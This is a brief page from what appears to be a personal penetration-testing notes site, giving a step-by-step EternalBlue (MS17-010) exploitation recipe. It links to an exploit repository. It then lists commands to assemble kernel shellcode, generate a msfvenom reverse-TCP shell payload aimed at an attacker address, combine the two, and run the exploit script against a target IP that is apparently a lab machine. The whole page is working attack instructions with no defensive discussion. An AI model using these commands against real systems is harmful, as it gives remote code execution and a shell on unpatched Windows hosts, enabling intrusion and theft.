> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/exploits-pocs/eternalblue-ms17-010.md).

# EternalBlue - MS17-010

Download Python script here: <https://github.com/3ndG4me/AutoBlue-MS17-010/tree/master>

<pre class="language-bash"><code class="lang-bash"><strong>// Assemble shellcode
</strong><strong>$ nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
</strong><strong>
</strong><strong>// Generate payload
</strong><strong>$ msfvenom -p windows/x64/shell_reverse_tcp LPORT=4488 LHOST=10.10.14.10 –platform windows -a x64 –format raw -o sc_x64_payload.bin
</strong><strong>
</strong><strong>// Concatenate shellcode &#x26; payload
</strong><strong>$ cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin
</strong><strong>
</strong><strong>// Exploit
</strong><strong>$ python eternalblue_exploit7.py 10.10.10.40 sc_x64.bin
</strong></code></pre>
